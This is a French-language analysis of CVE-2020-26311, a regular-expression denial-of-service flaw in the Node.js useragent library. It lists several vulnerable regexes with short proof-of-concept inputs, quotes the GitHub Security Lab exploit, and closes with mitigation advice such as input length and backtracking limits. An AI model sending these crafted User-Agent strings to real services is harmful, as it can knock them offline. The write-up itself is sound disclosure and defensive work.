CVE-2020-26311
20 Nov 2024
Voici une analyse de la vulnérabilité CVE-2020-26311 de type Regular expression Denial of Server (ReDoS) affectant la librairie useragent (https://github.com/3rd-Eden/useragent).
Description
Vendeur : N/A
Produit : useragent (https://github.com/3rd-Eden/useragent)
Version(s) impactée(s) : *
Type de vulnérabilité : Regular expression Denial of Service (ReDoS) (CWE-1333 - Inefficient Regular Expression Complexity)
Toutes les versions (la dernière version est la 2.3.0) de useragent sont vulnérables à une faille de type ReDoS lors du parsing du User-Agent.

Analyse de la vulnérabilité
Le parsing du User-Agent permet d'extraire des informations telles que le nom du user-agent, sa version, ou celle du système d'exploitation, en s'appuyant sur des expressions régulières :
const useragent = require('useragent');
const sampleUserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36";
const agent = useragent.parse(sampleUserAgent);
console.log("Navigateur:", agent.family);
console.log("Version du navigateur:", agent.toVersion());
console.log("Système d'exploitation:", agent.os.family);
console.log("Version OS:", agent.os.toVersion());
Navigateur: Chrome
Version du navigateur: 130.0.0
Système d'exploitation: Windows
Version OS: 10.0.0
Ces très nombreuses (c'est-à-dire un peu moins de 1000) expressions régulières sont présentes dans le fichier regexps.js
du dossier lib
:
var parser;
exports.browser = Object.create(null);
parser = Object.create(null);
parser[0] = new RegExp("(Rival IQ, rivaliq.com)");
...
parser[0] = new RegExp("(ESPN)[%20| ]+Radio/(\\d+)\\.(\\d+)\\.(\\d+) CFNetwork");
...
parser[0] = new RegExp("(Antenna)/(\\d+) CFNetwork");
...
parser[0] = new RegExp("(TopPodcasts)Pro/(\\d+) CFNetwork");
...
parser[0] = new RegExp("(MusicDownloader)Lite/(\\d+)\\.(\\d+)\\.(\\d+) CFNetwork");
...
Malheureusement, certaines de ces expressions régulières sont vulnérables aux attaques ReDoS, ce qui peut entraîner une interruption du service. En voici quelques-unes que j'ai identifiées :
// Ligne 187 du fichier regexps.js
new RegExp("Google.*/\\+/web/snippet");
// Exploitation
const useragent = require('useragent');
const sampleUserAgent = 'Google'.repeat(1000);
const agent = useragent.parse(sampleUserAgent);
// Ligne 215 du fichier regexps.js
new RegExp("/((?:Ant-|)Nutch|[A-z]+[Bb]ot|[A-z]+[Ss]pider|Axtaris|fetchurl|Isara|ShopSalad|Tailsweep)[ \\-](\\d+)(?:\\.(\\d+)|)(?:\\.(\\d+)|)");
// Exploitation
const useragent = require('useragent');
const sampleUserAgent = 'NANA'.repeat(2000) + '0';
const agent = useragent.parse(sampleUserAgent);
// Ligne 348 du fichier regexps.js
new RegExp("Mozilla.*Mobile.*(Instagram).(\\d+)\\.(\\d+)\\.(\\d+)");
// Exploitation
const useragent = require('useragent');
const sampleUserAgent = 'MozillaMobilem'.repeat(250) + '\n';
const agent = useragent.parse(sampleUserAgent);
De plus, le ticket GitHub décrivant la vulnérabilité intègre également une preuve de concept (https://securitylab.github.com/advisories/GHSL-2020-312-redos-useragent/) :
var useragent = require('useragent');
var attackString = "HbbTV/1.1.1CE-HTML/1.9;THOM " + new Array(20).join("SW-Version/");
// A copy of the regular expression
var reg = /(HbbTV)\/1\.1\.1.*CE-HTML\/1\.\d;(Vendor\/)*(THOM[^;]*?)[;\s](?:.*SW-Version\/.*)*(LF[^;]+);?/;
var request = 'GET / HTTP/1.1\r\nUser-Agent: ' + attackString + '\r\n\r\n';
console.log(useragent.parse(request).device);
Correction
La correction de ce type de vulnérabilités n'est pas toujours simple, car elle implique de modifier les expressions régulières vulnérables pour en réduire la complexité, tout en veillant à ce qu'elles continuent à détecter correctement le motif recherché.
Tester l'expression régulière
Une première chose faisable lors de l'écriture d'une expression régulière, peut être d'utiliser un outil permettant d'en tester la sensibilité au ReDoS, tel que l'outil ReDoS checker (https://devina.io/redos-checker) :

Limiter le nombre de caractères
En général, l'exploitation d'une attaque ReDoS requiert une chaîne de caractères relativement longue, en particulier lorsqu'elle est de type polynomial. Une mesure de défense en profondeur consiste donc à limiter le nombre de caractères de la chaîne à tester.
Mettre en place une limite de backtracking
Certaines technologies permettent de mettre en place une limite du nombre de backtracks pouvant être effectués. C'est ce que propose par exemple l'option pcre.backtrack_limit
en PHP, qui possède une valeur par défaut de 1 000 000.
Ressources
Dernière mise à jour